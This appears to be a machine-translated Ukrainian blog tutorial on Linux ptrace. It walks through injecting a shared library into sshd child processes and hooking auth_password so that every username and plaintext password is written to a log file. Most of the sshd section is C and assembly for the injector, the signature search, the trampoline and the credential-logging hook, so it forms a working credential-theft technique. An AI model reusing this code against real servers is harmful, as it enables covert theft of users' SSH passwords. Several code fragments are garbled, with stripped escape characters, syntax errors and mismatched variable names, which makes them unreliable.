Введення в ptrace або ін’єкція коду в sshd заради веселощів

Мета, яку я поставив, була дуже проста: дізнатися введений в sshd пароль, використовуючи ptrace. Звичайно, це дещо штучна завдання, так як є безліч інших, більш ефективних способів досягти бажаного (і з набагато меншою ймовірністю отримати SEGV), однак, мені здалося кльовим зробити саме так.

Що таке ptrace?

Ті, хто знайомий з ін’єкціями в Windows, напевно знають функції VirtualAllocEx(), WriteProcessMemory(), ReadProcessMemory() і CreateRemoteThread(). Ці виклики дозволяють виділяти пам’ять і запускати потоки в іншому процесі. У світі linux ядро надає нам ptrace, завдяки якому відладчики можуть взаємодіяти з запущеним процесом.

Ptrace пропонує кілька корисних для налагодження операцій, наприклад:

  • PTRACE_ATTACH — дозволяє приєднатися до одного процесу, поставивши на паузу отлаживаемый процес
  • PTRACE_PEEKTEXT — дозволяє прочитати дані з адресного простору іншого процесу
  • PTRACE_POKETEXT — дозволяє записати дані в адресний простір іншого процесу
  • PTRACE_GETREGS — читає поточний стан регістрів процесу
  • PTRACE_SETREGS — записує стан регістрів процесу
  • PTRACE_CONT — продовжує виконання отлаживаемого процесу

Хоча це неповний список можливостей ptrace, однак, я зіткнувся з труднощами із-за відсутності знайомих мені з Win32 функцій. Наприклад, в Windows можна виділити пам’ять в іншому процесі за допомогою функції VirtualAllocEx(), яка повертає тобі вказівник на свежевыделенную пам’ять. Так як в ptrace такого не існує, доведеться імпровізувати, якщо хочеться впровадити свій код в інший процес.

Ну що ж, давайте подумаємо про те, як захопити контроль над процесом з допомогою ptrace.

Основи ptrace

Перше, що ми повинні зробити — приєднатися до цікавить нас процесу. Щоб зробити це, достатньо викликати ptrace з параметром PTRACE_ATTACH:

ptrace(PTRACE_ATTACH, pid, NULL, NULL);

Цей виклик простий як пробка, він приймає PID процесу, до якого ми хочемо приєднатися. Коли відбувається виклик, відправляється сигнал SIGSTOP, який змушує зацікавив процес зупинитися.

Після приєднання є привід зберегти стан всіх регістрів перш, ніж ми почнемо щось змінювати. Це дозволить нам відновити роботу програми пізніше:

struct user_regs_struct oldregs;
ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);

Далі необхідно знайти місце, куди ми зможемо записати наш код. Найпростіший спосіб — отримати інформацію з файлу maps, який можна знайти в procfs для кожного процесу. Наприклад, “/proc/PID/maps” у запущеного процесу sshd на Ubuntu виглядає так:

Нам необхідно знайти область пам’яті, виділену з правом на виконання (швидше за все «r-xp»). Відразу, як знайдемо відповідну нам область, за аналогією з регістрами, збережемо вміст, щоб потім коректно відновити роботу:

ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);

З допомогою ptrace можна читати по одному машинному речі даних (32 біта на х86 або 64 біта на х86_64) за вказаною адресою, тобто для читання більшої кількості даних необхідно зробити кілька дзвінків, збільшуючи адресу.

Примітка: в linux так само є process_vm_readv() і process_vm_writev() для роботи з адресним простором іншого процесу. Однак, в цій статті я буду дотримуватися використання ptrace. При бажанні зробити щось своє, краще прочитати про ці функції.

Тепер, коли ми зробили резервну копію сподобалася нам області пам’яті, ми можемо почати перезапис:

ptrace(PTRACE_POKETEXT, pid, addr, word);

Аналогічно PTRACE_PEEKTEXT, цей виклик може записувати тільки по одному машинному речі за раз за вказаною адресою. Так само, для запису більше одного машинного слова потрібно безліч викликів.

Після завантаження свого коду необхідно передати йому управління. Щоб не перезаписувати дані в пам’яті (наприклад, стек), ми будемо використовувати збережені раніше регістри:

struct user_regs_struct r;
memcpy(&r &oldregs, sizeof(struct user_regs_struct));

// Update RIP to point to our injected code
regs.rip = addr_of_injected_code;
ptrace(PTRACE_SETREGS, pid, NULL &r);

Нарешті, ми можемо продовжити виконання з допомогою PTRACE_CONT:

ptrace(PTRACE_CONT, pid, NULL, NULL);

Але як ми дізнаємося, що наш код закінчив виконання? Ми будемо використовувати програмне переривання, так само відомий як інструкція «int 0x03», генеруючи SIGTRAP. Ми будемо чекати цього з допомогою waitpid():

waitpid(pid, &status, WUNTRACED);

waitpid() — блокуючий виклик, який дочекається зупинки процесу з ідентифікатором PID і запише причину зупинки в змінну status. Тут дуже до речі є купа макросів, які спростять життя у з’ясуванні причини зупинки.

Читайте також  Тестовий сервер для команди розробників

Щоб дізнатися, чи була зупинка через SIGTRAP (з причини виклику int 0x03), ми можемо зробити так:

waitpid(pid, &status, WUNTRACED);
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
 printf("SIGTRAP receivedn");
}

В цей момент наш вбудований код виконався і все, що нам потрібно відновити початковий стан процесу. Відновимо всі регістри:

ptrace(PTRACE_SETREGS, pid, NULL, &origregs);

Потім повернемо оригінальні дані в пам’яті:

ptrace(PTRACE_POKETEXT, pid, addr, word);

І отсоединимся від процесу:

ptrace(PTRACE_DETACH, pid, NULL, NULL);

На це вистачить теорії. Рушимо до більш цікавої частини.

Ін’єкція в sshd

Я повинен попередити, що є певна ймовірність упустити sshd, так що будьте обережні і, будь ласка, не намагайтеся перевіряти це на робочій системі і тим більше, на віддаленій системі через SSH 😀

Більше того, є кілька хороших способів досягти того ж результату, я демонструю саме цей виключно як веселого способу показати міць ptrace (погодьтеся, це крутіше ін’єкції в Hello World 😉

Єдине, що я хотів зробити — це отримати комбінацію логін-пароль із занедбаного sshd, коли користувач проходить аутентифікацію. При перегляді вихідного коду ми можемо бачити щось таке:

auth-passwd.c

/*
 * Tries to authenticate the user using password. Повертає true if
 * authentication succeeds.
*/
int
 auth_password(Authctxt *authctxt, const char *password)
{
...
}

Це виглядає, як відмінне місце для спроби вилучити логін/пароль, передані користувачем у відкритому вигляді.

Нам хочеться знайти сигнатуру функції, яка дозволить нам знайти її [функцію] в пам’яті. Я використовую мою улюблену утиліту для дизасемблирования, radare2:

Необхідно знайти послідовність байтів, яка унікальна і зустрічається тільки у функції auth_password. Для цього ми скористаємося пошуком в radare2:

Так сталося, що послідовність xor rdx, rdx; cmp rax, 0x400 підходить під наші вимоги і зустрічається лише один раз в усьому ELF-файл.

В якості примітки… Якщо у вас немає цієї послідовності, переконайтеся, що у вас сама нова версія, яка так само закриває уразливість середини 2016. (у версії 7.6 така послідовність так само є і унікальна — прим.пер.)

Наступний крок — ін’єкція коду.

Завантажуємо .so в sshd
Для завантаження нашого коду в sshd ми зробимо невелику заглушку, яка дозволить нам викликати dlopen() і завантажити динамічну бібліотеку, яка вже здійснить підміну «auth_password».

dlopen() — виклик для динамічної лінкування, який приймає в аргументах шлях до динамічної бібліотеки і завантажує її в адресний простір процесу викликає. Ця функція знаходиться в libdl.so, яка динамічно лінкуются до додатка.

На щастя, в нашому випадку libdl.so вже завантажена в sshd, так що нам залишається тільки виконати dlopen(). Однак, за ASLR дуже малоймовірно, що dlopen() буде в одному і тому ж місці кожен раз, так що доведеться знайти її адресу в пам’яті sshd.

Для того, щоб знайти адресу функції, потрібно порахувати зсув — різниця між адресою функції dlopen() і початковим адресою libdl.so:

unsigned long long libdlAddr, dlopenAddr;
libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY);
dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen");
printf("Offset: %llxn", dlopenAddr - libdlAddr);

Тепер, коли ми порахували зсув, потрібно знайти початковий адресу libdl.so з maps-файлу:

Знаючи базовий адресу libdl.so в sshd (0x7f0490a0d000, як випливає з скріншоту вище), ми можемо додати зміщення і отримати адресу dlopen(), щоб викликати з коду-ін’єкції.

Всі необхідні адреси передамо через регістри з допомогою PTRACE_SETREGS.

Так само необхідно записати шлях до вживляемой бібліотеки в адресний простір sshd, наприклад:

void ptraceWrite(int pid, unsigned long long addr, void *data, int len) {
 long word = 0;
 int i = 0;

 for (i=0; i < len; i+=sizeof(word), word=0) {
 memcpy(&word, data + i, sizeof(word));
 if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) {
 printf("[!] Error writing process memoryn");
exit(1);
}
}
}

ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.sox00", 16)

Роблячи якомога під час підготовки ін’єкції і завантажуючи покажчики на аргументи прямо в регістри, ми можемо зробити код-ін’єкцію простіше. Наприклад:

// Update RIP to point to our code, which will be just after 
// our injected library string name
regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN;

// Update RAX to point to dlopen()
regs.rax = (unsigned long long)dlopenAddr;

// Update RDI to point to our library string name
regs.rdi = (unsigned long long)freeaddr;

// Set RSI as RTLD_LAZY for the dlopen call
regs.rsi = 2; // RTLD_LAZY

// Update the target process registers
ptrace(PTRACE_SETREGS, pid, NULL, &regs);

Тобто, код-ін’єкція досить простий:

; RSI set as value '2' (RTLD_LAZY)
; RDI set as char* to shared library path
; RAX contains the address of dlopen
call rax
int 0x03

Настав час створити нашу динамічну бібліотеку, яка буде завантажена кодом-ін’єкцією.

Перш, ніж ми рушимо далі, розглянемо одну важливу річ, яка буде використана… Конструктор динамічної бібліотеки.

Конструктор в динамічних бібліотеках
Динамічні бібліотеки можуть виконувати код при завантаженні. Для цього необхідно позначити функції декоратором “__attribute__((constructor))”. Наприклад:

#include <stdio.h>

void __attribute__((constructor)) test(void) {
 printf("Library loaded on dlopen()n");
}

Скопилировать можна простою командою:

gcc -o test.so --shared -fPIC test.c

А потім перевірити працездатність:

dlopen("./test.so", RTLD_LAZY);

Коли бібліотека завантажиться, конструктор так само викличеться:

Ми також використовуємо цю функціональність, щоб зробити наше життя простіше при ін’єкції коду в адресний простір іншого процесу.

Динамічна бібліотека sshd
Тепер, коли у нас є можливість завантажити нашу динамічну бібліотеку, потрібно створити код, який змінить поведінку auth_password() у часі виконання.

Коли наша динамічна бібліотека завантажена, ми можемо знайти початковий адресу sshd з допомогою файлу/proc/self/maps” в procfs. Ми шукаємо область з правами «r-x», в якій ми будемо шукати унікальну послідовність у auth_password():

d = fopen("/proc/self/maps", "r");
while(fgets(buffer, sizeof(buffer), fd)) {
 if (strstr(buffer, "/sshd") && strstr(buffer, "r-x")) {
 ptr = strtoull(buffer, NULL, 16);
 end = strtoull(strstr(buffer, "-")+1, NULL, 16);
break;
}
}

Раз у нас є діапазон адрес для пошуку, шукаємо функцію:

const char *search = "x31xd2x48x3dx00x04x00x00";
while(ptr < end) {
 // ptr[0] == search[0] added to increase performance during searching
 // no point calling memcmp if the first byte doesn't match our signature.
 if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) {
break;
}
ptr++;
}

Коли у нас знайшлося збіг, необхідно використовувати mprotect(), щоб змінити права на доступ до області пам’яті. Це все тому що область пам’яті доступна на читання і виконання, а для зміни на ходу потрібні права на запис:

mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC)

Відмінно, у нас є право на запис в потрібну область пам’яті і тепер настав час додати до початку функції auth_password невеликий трамплін, який передасть управління в хук:

char jmphook[] = "x48xb8x48x47x46x45x44x43x42x41xffxe0";

Це еквівалентно такого коду:

mov rax, 0x4142434445464748
jmp rax

Звичайно, адресу 0x4142434445464748 нам не підходимо і він буде замінений на адресу нашого хука:

*(unsigned long long *)((char*)jmphook+2) = &passwd_hook;

Тепер ми можемо просто вставити наш трамплін у sshd. Щоб ін’єкція була красивою і чистою, вставимо трамплін в самий початок функції:

// Step back to the start of the function, which is 32 bytes 
// before our signature
ptr -= 32;
memcpy(ptr, jmphook, sizeof(jmphook));

Тепер ми повинні реалізувати хук, який буде займатися логгированием проходять даних. Ми повинні бути впевнені, що зберегли всі регістри до початку хука і відновлено перед поверненням до оригінального коду:

Вихідний код хука

// Remember the prolog: push rbp; mov rbp, rsp; 
// that takes place when entering this function
void passwd_hook(void *arg1, char *password) {
 // We want to our store registers for later
 asm("push %rsin"
 "push %rdin"
 "push %raxn"
 "push %rbxn"
 "push %rcxn"
 "push %rdxn"
 "push %r8n"
 "push %r9n"
 "push %r10n"
 "push %r11n"
 "push %r12n"
 "push %rbpn"
 "push %rspn"
);

 // Our code here is used to store the username and password
 char buffer[1024];
 int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND);

 // Note: The magic offset of "arg1 + 32" contains a pointer to 
 // the username from the passed argument.
 snprintf(buffer, sizeof(buffer), "Password entered: [%s] %sn", *(void **)(arg1 + 32), password);
 write(log, buffer, strlen(buffer));
close(log);

 asm("pop %rspn"
 "pop %rbpn"
 "pop %r12n"
 "pop %r11n"
 "pop %r10n"
 "pop %r9n"
 "pop %r8n"
 "pop %rdxn"
 "pop %rcxn"
 "pop %rbxn"
 "pop %raxn"
 "pop %rdin"
 "pop %rsin"
);

 // Recover from the function prologue
 asm("mov %rbp, %rspn"
 "pop %rbpn"
);
...

Ну і це все… в якомусь сенсі…

На жаль, після всього зробленого, це ще не все. Навіть якщо ін’єкція коду в sshd вдалася, можна помітити, що шукані паролі все ще недоступні. Це пов’язано з тим, що sshd на кожне з’єднання створює нового дитини. Саме новий дитина обробляє підключення і саме у нього ми повинні встановити хук.

Щоб бути впевненим, що ми працює з дітьми sshd, я вирішив сканувати procfs на stats файли, в яких зазначено Parent PID sshd. Як тільки знаходиться такий процес, інжектор запускається і для нього.

В цьому є навіть свої плюси. Якщо все піде не за планом і код-ін’єкція впаде з SIGSEGV, буде убитий тільки процес одного користувача, а не батьківський процес sshd. Не найбільша розрада, але воно явно робить налагодження простіше.

Сподіваюся, це подорож подарувало тобі достатньо інформації для того, щоб потикати ptrace самостійно.

Хочу подякувати наступних людей і сайти, які допомогли розібратися з ptrace:

  • Інструментарій Gaffe23 для ін’єкції динамічних бібліотек — github.com/gaffe23/linux-inject
  • Прекрасна робота EvilSocket за ін’єкцій в процес — www.evilsocket.net/2015/05/01/dynamically-inject-a-shared-library-into-a-running-process-on-androidarm

Степан Лютий

Обожнюю технології в сучасному світі. Хоча частенько і замислююся над тим, як далеко вони нас заведуть. Не те, щоб я прям і знаюся на ядрах, пікселях, коллайдерах і інших парсеках. Просто приходжу в захват від того, що може в творчому пориві вигадати людський розум.

You may also like...

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *